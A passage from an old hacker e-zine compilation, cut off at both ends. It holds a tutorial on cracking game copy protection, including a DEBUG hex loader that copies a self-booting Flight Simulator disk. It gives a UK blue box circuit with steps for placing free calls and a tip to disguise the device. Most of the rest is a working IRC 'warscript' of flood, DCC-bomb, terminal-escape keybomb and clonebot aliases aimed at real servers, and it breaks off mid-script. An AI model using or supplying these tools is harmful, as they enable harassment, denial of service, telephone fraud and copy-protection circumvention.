this point, take a look at the passwords, and write down the most unusual one that you can find (I'll explain later). Now type that password in as the search string, and let NU search through the file until it finds the password. Now a couple of things can happen. 1. It only finds one occurrence 2. It finds more than one occurrence 3. It doesn't find any occurrence In the event of case 2 then YOU have to determine where the passwords are stored, you can do this by opening your eyes and looking. In the event of case 3, go to the kitchen and start a pot of coffee, then tell you wife to go to bed without you, because you have a "Special Project" that you have to finish tonight. And by the way, Good Luck. You'll need it. Hopefully case 1 will occur, now you have to take a look at the data and ask yourself 2 questions: 1. Are all the passwords the same length? 2. Is there a set number of spaces between each pass- word? 3. Does the next password always start a certain number of characters from the first character of the previ- ous password? If you can answer yes to any of the above questions, you in luck. All you have to do is change the passwords to spaces (If the program allows that, Battlehawks doesn't) or change them to you favorite character. The letter X works good, it's easy to type and easy to remember. If you can't answer yes to any of the questions then you ei- ther need to bypass the Doc Check routine itself or you need to be adventurous and experiment. Battlehawks will not follow any of the above patterns, and your quickly running out of time, so you'll have to try something, fast... So just wiped out all of the data area with X's, all the passwords and associated "garbage" between them. Then saved the changes and drop out of NU and into BH. Then when it ask for the password, just filed the area with X's. Next thing you know, you'll be escorting a bombing run on a Japanese carrier. So, this one turned out to be fairly simple. Where you may run into trouble is on Doc Checks that use a graphic system, such as Gunship by MicroProse. When it comes to this type of Doc Check, you almost have to bypass the routine itself. And again, a good way to do this is with setting break points and using the trace option in Debug. END. 25 ------------------------------------------------------------- That was the easy version Doc Check crack, however there a "Better" way to crack Doc Checks, is to bypass the routine completely so the user can just press enter and not worry about spaces. Let's take a lot at this method by looking at a crack for the program, Yeager's Advanced Flight Trainer, by Electronic Arts. ------------------------------------------------------------- By: PTL Title: Yeager's Advanced Flight Trainer 26 Chapter 5 Cracking Self Booters ------------------------------------------------------------- Now we'll take a look at cracking self booters. A few compa- nies have found this to be the best copy protection scheme for them, one of which is DataEast, makers of Ikari Warriors, Victory Road, Lock-On, Karnov, etc... This posses a special problem to the Amateur Cracker, since they seldom use stan- dard DOS formats. So let's jump right in! ------------------------------------------------------------- This is the area where a "Higher than Normal" knowledge of Assembly Language and DOS Diskette structures, so first of all, the Basic's. The Disk's Physical Structure Data is recorded on a disk in a series of concentric circles, called Tracks. Each track if further divided into segments, called Sectors. The standard double-density drives can record 40 tracks of data, while the new quad-density drives can record 80 tracks. However, the location, size, and number of the sectors within a track are under software control. This is why the PC's diskettes are known as soft-sectored. The characteristics of a diskette's sectors (Their size, and the number per track) are set when each track is formatted. Disk Formatting can be done either by the operating system or by the ROM-BIOS format service. A lot of self booters and almost all forms of copy protection create unusual formats via the ROM-BIOS diskette services. The 5 1/4-inch diskettes supported by the standard PC BIOS may have sectors that are 128,256,512, or 1,024 bytes in size. DOS, from versions 1.00 through 4.01 has consistently used sectors of 512 bytes, and it is quite possible that this will continue. Here is a table displaying 6 of the most common disk formats: _____________________________________________________________ Type Sides Sectors Tracks Size(bytes) _____________________________________________________________ S-8 1 8 40 160K D-8 2 8 40 320K S-9 1 9 40 180K D-9 2 9 40 360K QD-9 2 9 80 720K QD-15 2 15 80 1,200K _____________________________________________________________ S - Single Density D - Double Density QD - Quad Density Of all these basic formats, only two are in widespread use: S-8 and D-9. The newer Quad Density formats are for the 3 1/2" and 5 1/4" high density diskettes. The Disk's Logical Structure So, as we have already mentioned, the 5 1/4-inch diskette formats have 40 tracks, numbered from 0 (the outside track) through 39 (the inside track, closest to the center). On a double sided diskette, the two sides are numbered 0 and 1 (the two recording heads of a double-sided disk drive are also numbered 0 and 1). The BIOS locates the sectors on a disk by a three-dimensional coordinate composed of a track number (also referred to as the cylinder number), a side number (also called the head number), and a sector number. DOS, on the other hand, lo- cates information by sector number, and numbers the sectors sequentially from the outside to inside. We can refer to particular sectors either by their three-dimensional coordinates or by their sequential order. All ROM-BIOS operations use the three-dimensional coordinates to locate a sector. All DOS operations and tools such as DE- BUG use the DOS sequential notation. The BASIC formula that converts the three-dimensional coordi- nates used by the ROM-BIOS to the sequential sector numbers used by DOS is as follows: DOS.SECTOR.NUMBER = (BIOS.SECTOR - 1) + DIOS.SIDE * SECTORS.PER.SIDE + BIOS.TRACK * SECTORS.PER.SIDE * SIDES.PER.DISK And here are the formulas for converting sequential sector numbers to three-dimensional coordinates: BIOS.SECTOR = 1 + DOS.SECTOR.NUMBER MOD SECTORS.PER.SIDE BIOS.SIDE = (DOS.SECTOR.NUMBER \ SECTORS.PER.SIDE) MOD SIDE.PER.DISK BIOS.TRACK = DOS.SECTOR.NUMBER \ (SECTORS.PER.SIDE * SIDES.PER.DISK) (Note: For double-sided nine-sector diskettes, the PC's most common disk format, the value of SECTORS.PER.SIDE is 9 and the value of SIDES.PER.DISK is 2. Also note that sides and tracks are numbered differently in the ROM-BIOS numbering system: The sides and tracks are num- bered from 0, but the sectors are numbered from 1.) Diskette Space Allocation The formatting process divides the sectors on a disk into four sections, for four different uses. The sections, in the order they are stored, are the boot record, the file alloca- tion table (FAT), the directory, and the data space. The size of each section varies between formats, but the struc- ture and the order of the sections don't vary. The Boot Record: This section is always a single sector located at sector 1 of track 0, side 0. The boot record contains, among other things, a short program to start the process of loading the operating system on it. All diskettes have the boot record on them even if they don't have the operating system. Asisde from the start-up program, the exact contents of the boot record vary from format to format. The File Allocation Table: The FAT follows the boot record, usually starting at sector 2 of track 0, side 0. The FAT contains the official record of the disk's format and maps out the location of the sectors used by the disk files. DOS uses the FAT to keep a record of the data-space usage. Each entry in the table con- tains a specific code to indicate what space is being used, what space is available, and what space is unusable (Due to defects on the disk). The File Directory: The file directory is the next item on the disk. It is used as a table of contents, identifying each file on the disk with a directory entry that contains several pieces of information, including the file's name and size. One part of the entry is a number that points to the first group of sec- tors used by the file (this number is also the first entry for this file in the FAT). The Data Space: Occupies the bulk of the diskette (from the directory through the last sector), is used to store data, while the other three sections are used to support the data space. Sectors in the data space are allocated to files on an as-needed basis, in units known as clusters. The clusters are one sector long and on double-sided diskettes, they are a pair of adjacent sectors. (From here on I'll continue to describe the basics of DOS disk structures, and assembly language addressing technics. ------------------------------------------------------------- Here is a simple routine to just make a backup copy of the Flight Simulator Version 1.0 by Microsoft. I know the latest version is 3.x but this version will serve the purpose of demonstrating how to access the data and program files of a selfbooter. ------------------------------------------------------------- By: PTL Title: Microsoft Flight Simulator 1.00 Unprotect This procedure will NOT convert the Flight Simulator disk to files that can be loaded on a hard drive. But... it will read off the data from the original and put it onto another floppy. And this should give you an idea of how to read data directly from a disk and write it back out to another disk. First of all take UNFORMATTED disk and place it in drive B:. This will be the target disk. Now place your DOS disk (which has Debug) into drive A:, or just load Debug off you hard disk. A>DEBUG Then we are going to enter (manually) a little program to load the FS files off the disk. -E CS:0000 B9 01 00 BA 01 00 BB 00 01 0E 07 06 1F 88 E8 53 5F AA 83 C7 03 81 FF 1C 01 76 F6 B8 08 05 CD 13 73 01 90 FE C5 80 FD 0C 76 E1 90 CD 20 -E CS:0100 00 00 01 02 00 00 02 02 00 00 03 02 00 00 04 02 00 00 05 02 00 00 06 02 00 00 07 02 00 00 08 02 Next we'll [R]eset the IP Register by typing. -R IP And then typing four zeros after the address prefix. xxxx:0000 Next insert the original Flight Simulator disk into drive A: and we'll run our little loader. -G =CS:0000 CS:22 CS:2A Now enter a new address to load from. -E CS:02 0E -E CS:27 19 And run the Loader again. -G =CS:0000 CS:22 CS:2A New address -E CS:02 27 -E CS:27 27 Run Loader -G =CS:0000 CS:22 CS:2A Here we'll do some [L]oading directly from the disk our- selves. -L DS:0000 0 0 40 And the in turn, write it back out to the B: (1) drive -W DS:0000 1 0 40 Etc... -L DS:0000 0 40 28 -W DS:0000 1 70 30 -L DS:0000 0 A0 30 -W DS:0000 1 A0 30 -L DS:0000 0 138 8 -W DS:0000 1 138 8 When we are all through, [Q]uit from debug and you should have a backup copy of the Flight Simulator. -Q And that's all there is to it. END. []------------------[] -------------------------------+ 03 - Plans for the UK blue box | -------------------------------+ ________________________________________________________________________ 2280hz Blue Box Circuit - from 0943 817010 *** OPEN SOON *** ________________________________________________________________________ Circuit Diagram - / Connect to Send _______________________ ____/ __________________ ! ! ! ! ! ! ! /! ! _________! ____ ________ __ ! _! / ! Small ! ! ______!_____! ____ ! ! ! !__! ! Loudspeaker ! ! ! __!_____!_____!__!__!__ ! ! \ ! ! ! ! ! E D C B A 9 8 ! ! ! \! ! ! ! ! ! ! ! ! ! ! ! ! 4047B IC ! ! ! ! 100 Ohm Resistor ! ! ! ! ! ! ! ! ! ! ! !__1__2__3__4__5__6__7__! ! ! ! ! ! ! ! ! ! ! ! ! ! ! __!__ +ve ! ! ! ! ! !__!__!__! ____! ! ___ 9v cell ! ! ! ! ! ______! ! ! -ve ! ! _! _! ! ! __________! ! ! ! ! ! ! ! / ! ! ! !____! ! ____! ___! ___!/ ! ! ! ! ! ! ! !\ ZTX 300 ! ! ! 0.01uF! !_! !_! ! \ ___! ! ! ! ! ! ! ! ! / ! ! ! ! ! !___!/ ! ! ! ! ! !\ ZTX 300 ! ! ! ! ! \___________________________! ! ! ! ! ! ! ! ! 10K ! ! ! ! 80! ! ! Ohms ! ! ! ! Ohms ! ! ! ! ! ! ! ! ! ! ! ! 6.2 ! ! ! ! ! ! Ohms ! ! ! ! ! ! ! ! ! ! ! ! !_______! ! ! ! ! ! !____________________!_________________________________________! Components List - 1 4047B IC (about 25p) 2 ZTX 300 transistors (about 14p each) 1 0.01uF ceramic disc capacitor (about 5p) 1 10K resistor (about 2p) 1 100 ohm resistor (about 2p) 1 80 ohm resistor (about 2p) 1 6.2 ohm resistor (about 2p) 1 10x24 veroboard (about 40p) 1 Miniature Loudspeaker (about 90p) 1 Push to connect switch (about 40p) Total cost 2.20 Extras - 1 blue coloured box (spray this pink to conceal purpose of device) 1 9v battery Construction - The device is very simple to construct and can be made small enough to fit onto a 10x24 veroboard. Note: ZTX 300 Transistor / collector base !/ !\ \ emitter How the Device Works - The three resistors and the capacitor set the frequency. If the capacitor is 0.1uF then the resistor value can be calculated in the following way: R = 23000000 ________ frequency So, the resistor value for 2600hz would be: R = 23000000 = 8846.15 Ohms (this is no good, however because it ________ must be more than 10K) 2600 The frequency that the 4047B outputs is then amplified by the two transistors(a darlington pair) before being put through the loudspeaker. Using the Device - 1) Dial a long-distance unobtainable number. 2) Hold the speaker against the phone microphone. 3) Send the 2280hz tone by holding the switch down on the device. 4) Pulse/Tone(exchange dependent)dial the exchange number. 5) Dial number to connect to. For more information on this see 'phreak' on 0943 817010 (24 hours) ** OPEN SOON ** NB: DO NOT CONNECT THIS DEVICE INDIRECTLY OR DIRECTLY TO ANY TELEPHONE NETWORK IN THE UK. _______________________________________________________________________ Feel free to add your own credits, but don't remove those that are already there ! _______________________________________________________________________ []------------------[] --------------------------+ 04 - Scythe IRC Warscript | --------------------------+ # # - + Scythe IRC Warscript from Vassago Version C + - # - + Released March 25th, 1995 + - # # This is a standalone version of my original PHOENIX.WAR from PhoEniX # Version 2.01, with many enhancements added. It should work fine with # any script (I hope :). This script will work with all 2.2.9 IRCII # clients and ascending versions. Users of IRCII 2.3.17 and variations # may experience some problems using this script. Scythe may or may not # work correctly on VMS/VAX systems. This script has NO version message # additions, so the only person who knows you are running it will be you. # # Please do NOT use this script unless you get it directly from my # jcowan.reslife.okstate.edu FTP site. I only guarantee my scripts to be # free from backdoors IF THEY ARE DOWNLOADED DIRECTLY from this site. # # - Vassago (Ryan Addams) # [mordy@wentz415.reslife.okstate.edu] # alias sxecho {^xecho -level crap [S/X] $0-} echo [S/X] Loading Vassago's SCYTHE, one moment please... # Defaults for flash & nuke used in NUKE, FLASH, SNUKE, MASSFLASH, MFLASH. # If you want to specify a different directory for these, do so here. assign flash_pgm flash assign mflash_pgm mflash assign nuke_pgm nuke # Servers for use as RANDOM servers in the /CLONEBOTS CLONE command. # These should all allow connections from your host. assign CSERV[1] bazooka.rutgers.edu assign CSERV[2] irc.uiuc.edu assign CSERV[3] irc.escape.com assign CSERV[4] minnie.cc.utexas.edu assign CSERV[5] irc.indiana.edu assign CSERV[6] cs-pub.bu.edu assign CSERV[7] alfred1.u.washington.edu assign CSERV[8] organ.ctr.columbia.edu assign CSERV[9] irc.texas.net assign CSERV[10] irc-2.mit.edu @ cservnum = 11 ### Other Default Assigns assign CLONEUNAME NONE assign CLONEPORT 6667 assign CLONEWINDOW OFF assign TSU ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ assign RCRAPCRAP abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789a @ SERVCOUNT = 1 @ NUMCLONES = 0 alias randcrap { @ RCOUNTER = 1 while (RCOUNTER < [$0]) { @ RCOUNTER = RCOUNTER + 1 EVAL ^assign RCRAP $MID($rand(62) 1 $RCRAPCRAP)${RCRAP} } EVAL ^assign RCRAP $MID($rand(25) 1 $RCRAPCRAP)${RCRAP} ^assign FUNCTION_RETURN $RCRAP ^assign -RCRAP } alias repeatcmd { @ RCOUNT = 0 while (RCOUNT < [$0]) { @ RCOUNT = RCOUNT + 1 /$1- } ^assign -RCOUNT } ^set NOVICE OFF ^set EXEC_PROTECTION OFF on ^dcc_raw "*" # on ^dcc_raw "% % D *PIN*" {//^dcc raw $0 $1 PONG :$1} ### Miscellaneous Floods alias toolzbomb { quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ /sxecho ToolZ bombed $0\, you might get a lot of replies. } alias multiflood { /quote PRIVMSG $0 :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA /quote PRIVMSG $0 :USERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFO /quote PRIVMSG $0 :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA /quote PRIVMSG $0 :USERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFO /quote PRIVMSG $0 :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA /quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED /quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING /sxecho Multiple flooded $0\, you might get a lot of replies. } alias verflood { quote PRIVMSG $0 :VERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVER quote PRIVMSG $0 :VERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVER quote PRIVMSG $0 :VERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVER quote PRIVMSG $0 :VERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVER quote PRIVMSG $0 :VERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVER /sxecho VER flooded $0\, you might get a lot of replies. } alias pingflood { quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING /sxecho PING flooded $0\, you might get a lot of replies. } alias pongflood { repeatcmd 4 EVAL /quote PONG $TSU :$0 sxecho PONG flood sent to $0\. } alias sedflood { quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED /sxecho I have CTCP SED flooded $0\. } alias tsunami { EVAL repeatcmd 4 quote PRIVMSG $0 :$TSU sxecho I have tsunamied $0\. } alias dccbomb { quote PRIVMSG $0 :DCC SEND trsiult9_1.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_2.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_3.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_4.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_5.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_6.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_7.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_8.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_9.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND trsiult9_10.zip $rand(99999999) 19 6667 /sxecho I have DCC autoget bombed $0\. } alias dccflood { quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) /sxecho I have DCC flooded $0\. } alias dcctsunami { quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) sxecho A DCC TSUNAMI has been sent to $0\. } alias ctcpflood { /repeatcmd 18 CTCP $0 CLIENTINFOCLIENTINFO /sxecho CTCP CLIENTINFO flooded $0\, you might get a lot of replies. } alias nickflood { EVAL ^assign OLDNICK $N @ NFCOUNTER = 0 EVAL @ NFCOUNT = $0 while (NFCOUNTER < NFCOUNT) { @ NFCOUNTER = NFCOUNTER + 1 EVAL quote NICK $randcrap(9) } ^assign -NFCOUNT ^assign -NFCOUNTER EVAL //nick $OLDNICK ^assign -OLDNICK } alias servflood { if (rmatch($0 *.*)) { @ SFLOODC = 0 EVAL @ SFLOODMAX = $1 while (SFLOODC < SFLOODMAX) { @ SFLOODC = SFLOODC + 1 ^set display off EVAL ^assign SERVPID $connect($0 6667) ^set display on EVAL //^dcc raw $SERVPID $0 SERVER $TSU$TSU # # :$encode($rand(9999))$rand(9) //^dcc close raw $SERVPID } ^assign -SERVPID ^assign -SFLOODC ^assign -SFLOODMAX /sxecho Server flooded $0 $1 times. } {/sxecho /servflood .} } ### Channel Keybombs alias kdie //mode $C +k #8[?3\;5h\(0 alias kfont //mode $C +k \(0 alias kinvert //mode $C +k [?3\;5h alias ksz //mode $C +k **B00 alias kcls //mode $C +k  alias kfire //mode $C +k [41\;5mFIRE! alias ksatan //mode $C +k [41\;5m!!S4T4N!! alias kreset //mode $C +k  alias ktsunami //mode $C +k  ### Clonebot Control Handlers alias ck /clonebots kill all alias clone_window { if ([$CLONEWINDOW]!=[ON]) { ^assign CLONEWINDOW ON clear ^window new name Clones ^window scroll on ^window shrink 7 ^set hold_mode off ^window goto 2 cecho Clonebot control window has been activated. } { ^assign CLONEWINDOW OFF clear ^window refnum Clones wait -CMD window kill sxecho Clonebot control window has been deactivated. } } alias cecho {^xecho -window Clones [CLONES] $0-} alias cb.getcc { ^assign IN_CC1 $"[S/X] Number of clonebots to create: " if (IN_CC1 > 0) { ^assign IN_CC $IN_CC1 ^assign -IN_CC1 } {^cb.getcc} } alias cb { ^cb.getcc ^assign IN_CBSRV $"[S/X] Server to use (ENTER for random): " ^assign IN_CNICK $"[S/X] First part of clonebot nicks (ENTER for random):" ^assign IN_CUNAME $"[S/X] Username to TRY to signon under (ENTER for junk):" ^assign IN_CIRCNAME $"[S/X] Description (IRCNAME) (ENTER for none): " if ([$IN_CBSRV]==[]) {^assign IN_CBSRV random} if ([$IN_CNICK]==[]) {^assign IN_CNICK random} if ([$IN_CUNAME]==[]) {^assign CLONEUNAME NONE} {^assign CLONEUNAME $IN_CUNAME} /clonebots clone $IN_CC $IN_CBSRV $IN_CNICK $IN_CIRCNAME ^assign CLONEUNAME NONE ^assign -IN_CC ^assign -IN_CBSRV ^assign -IN_CNICK ^assign -IN_CIRCNAME ^assign -IN_CUNAME } alias clonhelp { sxecho +----------------+ Scythe Clonebots Generator Help +----------------+ sxecho /clonebots , where command is: sxecho clone [] sxecho status, kill , whois sxecho CLONE creates new clonebots on . Substituting sxecho 'random' for the server name causes the servers to be chosen from sxecho CSERV array at the start of the script. Edit this array if you want sxecho to change the choices. Substituting 'random' for the nick-prefix sxecho causes the bots to have random garbage nick. sxecho STATUS displays the bots online, their servers, sockets, etc. sxecho KILL disconnects a clonebot. Kill 'all' disconnects all clonebots sxecho and resets the clonebot counter. sxecho WHOIS displays information about one of your bots from it's nick. sxecho Type '/assign CLONEUNAME ' to set a special username for sxecho the clonebots to signon under (setting to NONE defaults to random). sxecho '/assign CLONEPORT ' sets the port, default is 6667. sxecho /CB provides a user-friendly prompted interface to this command. sxecho /CK is a shortcut to /clonebots kill all. sxecho To control the clonebots, use the /CLONE command. sxecho +-------------------------------------------------------------------+ } on ^dcc_raw "% % C*" { if ([$CLONESOCKET[$CLONENUM[$0]]] == [$0]) { cecho Clonebot #$CLONENUM[$0] \($CLONENICKS[$CLONENUM[$0]]\) has been disconnected by server $1. ^assign -CLONES[$CLONENUM[$0]] ^assign -CLONESOCKET[$CLONENUM[$0]] ^assign -CLONESERV[$CLONENUM[$0]] ^assign -CLONENICKS[$CLONENUM[$0]] ^assign -CLONESPY[$CLONENUM[$0]] EVAL ^on dcc_raw - "$0 $1 D *" ^assign -CLONENUM[$0] } } alias cspyadd { if ([$index($1 $CLONESPY[$0])]==-1) {^assign CLONESPY[$0] $1${CLONESPY[$0]}} } alias cspyrm {/EVAL ^assign CLONESPY[$0] $strip($1 $CLONESPY[$0])} alias clonespyset { if ([$CLONES[$0]] == [ONLINE]) { if (rmatch($1 PU*)) {^cspyadd $0 P} if (rmatch($1 -PU*)) {^cspyrm $0 P} if (rmatch($1 PR*)) {^cspyadd $0 R} if (rmatch($1 -PR*)) {^cspyrm $0 R} if (rmatch($1 NO*)) {^cspyadd $0 N} if (rmatch($1 -NO*)) {^cspyrm $0 N} if (rmatch($1 MO*)) {^cspyadd $0 O} if (rmatch($1 -MO*)) {^cspyrm $0 O} if (rmatch($1 K*)) {^cspyadd $0 K} if (rmatch($1 -K*)) {^cspyrm $0 K} if (rmatch($1 J*)) {^cspyadd $0 J} if (rmatch($1 -J*)) {^cspyrm $0 J} if (rmatch($1 NI*)) {^cspyadd $0 I} if (rmatch($1 -NI*)) {^cspyrm $0 I} if (rmatch($1 MI*)) {^cspyadd $0 M} if (rmatch($1 -MI*)) {^cspyrm $0 M} if (rmatch($1 C*)) {^cspyadd $0 C} if (rmatch($1 -C*)) {^cspyrm $0 C} } {/cecho Error: Clone #$0, no such clone.} } alias cspylevs { if ([$CLONESPY[$0]] == [_]) {^assign FUNCTION_RETURN NONE} { if (index(M $CLONESPY[$0]) != -1) {^assign SLEVS MISC ${SLEVS}} if (index(I $CLONESPY[$0]) != -1) {^assign SLEVS NICK ${SLEVS}} if (index(J $CLONESPY[$0]) != -1) {^assign SLEVS JOIN/LEAVE/SIGNOFF ${SLEVS}} if (index(K $CLONESPY[$0]) != -1) {^assign SLEVS KICK ${SLEVS}} if (index(O $CLONESPY[$0]) != -1) {^assign SLEVS MODE ${SLEVS}} if (index(N $CLONESPY[$0]) != -1) {^assign SLEVS NOTICE ${SLEVS}} if (index(R $CLONESPY[$0]) != -1) {^assign 